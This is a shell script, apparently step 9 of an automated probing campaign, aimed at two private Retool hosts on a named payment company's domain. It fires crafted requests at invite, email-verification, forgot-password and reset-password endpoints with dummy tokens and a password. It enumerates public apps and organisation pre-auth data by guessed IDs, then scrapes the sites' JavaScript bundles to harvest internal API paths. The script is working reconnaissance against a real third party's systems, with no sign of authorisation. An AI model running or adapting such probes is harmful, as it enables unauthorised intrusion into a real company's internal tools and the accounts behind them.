67 lines
2.5 KiB
Bash
67 lines
2.5 KiB
Bash
#!/bin/sh
|
|
# Intent 20337 step 9: invite/verify/forgot contracts, public-api variants, SPA scripts.
|
|
|
|
C="curl -sk -m 10 --connect-timeout 3"
|
|
T=/tmp/rt20337i
|
|
mkdir -p "$T" 2>/dev/null
|
|
|
|
post() {
|
|
h="$1"; p="$2"; tag="$3"; data="$4"
|
|
$C -o "$T/b" -D "$T/h" -w "%{http_code} %{size_download}" -X POST -H "Content-Type: application/json" -H "Accept: application/json" --data-binary "$data" "https://$h$p" >"$T/s" 2>"$T/e"
|
|
echo "### $tag POST $p -> $(cat "$T/s" 2>/dev/null)"
|
|
head -c 260 "$T/b" 2>/dev/null | tr '\r\n' ' '
|
|
echo
|
|
}
|
|
|
|
get() {
|
|
h="$1"; p="$2"; tag="$3"
|
|
$C -o "$T/b" -w "%{http_code} %{size_download}" "https://$h$p" >"$T/s" 2>"$T/e"
|
|
echo "### $tag GET $p -> $(cat "$T/s" 2>/dev/null)"
|
|
head -c 260 "$T/b" 2>/dev/null | tr '\r\n' ' '
|
|
echo
|
|
}
|
|
|
|
for h in retooldata.private.paystack.co retool.private.paystack.co; do
|
|
echo "==== $h"
|
|
post $h /api/invite/accept "inv-empty" '{}'
|
|
post $h /api/invite/accept "inv-token" '{"signupToken":"x20337"}'
|
|
post $h /api/verifyEmail "ver-empty" '{}'
|
|
post $h /api/verifyEmail "ver-token" '{"registrationToken":"x20337"}'
|
|
post $h /api/forgotPassword "forgot-empty" '{}'
|
|
post $h /api/forgotPassword "forgot-mail" '{"email":"pstk20337-nobody@maxxspace.com"}'
|
|
post $h /api/resetPassword "reset-empty" '{}'
|
|
post $h /api/resetPassword "reset-pw" '{"password":"Pstk!Rt20337x"}'
|
|
get $h "/api/invite/accept?signupToken=x20337" "inv-get"
|
|
get $h "/api/public/apps?uuid=x20337" "pub-uuid"
|
|
get $h "/api/public/apps?appUuid=x20337" "pub-appuuid"
|
|
get $h "/api/public/apps?organizationId=1" "pub-org"
|
|
post $h /api/public/apps "pub-post" '{}'
|
|
get $h "/api/organization/preAuthData?orgId=2" "preauth-org2"
|
|
get $h "/api/graphql" "graphql"
|
|
done
|
|
|
|
echo "== ROOT HTML SCRIPTS"
|
|
for h in retooldata.private.paystack.co retool.private.paystack.co; do
|
|
echo "-- $h"
|
|
$C -o "$T/r" "https://$h/"
|
|
head -c 1500 "$T/r" | tr '\r\n' ' '
|
|
echo
|
|
grep -oE '(src|href)=[^ >]{1,160}' "$T/r" 2>/dev/null | head -12
|
|
done
|
|
|
|
echo "== BUNDLE GREP retooldata"
|
|
H=retooldata.private.paystack.co
|
|
$C -o "$T/r3" "https://$H/"
|
|
grep -oE 'src=[^ >]{1,160}' "$T/r3" 2>/dev/null | sed 's/src=//;s/["'\'']//g' > "$T/js" 2>/dev/null
|
|
wc -l < "$T/js" 2>/dev/null
|
|
i=0
|
|
while read -r js; do
|
|
i=$((i+1))
|
|
[ $i -gt 2 ] && break
|
|
case "$js" in /*) u="https://$H$js";; *) u="https://$H/$js";; esac
|
|
$C -m 25 -o "$T/j$i" "$u" 2>/dev/null
|
|
echo "-- $u size=$(wc -c < "$T/j$i" 2>/dev/null)"
|
|
grep -oE '"/api/[A-Za-z0-9_./-]{2,80}"' "$T/j$i" 2>/dev/null | tr -d '"' | sort -u | head -80
|
|
done < "$T/js"
|
|
|
|
echo "RT9DONE"
|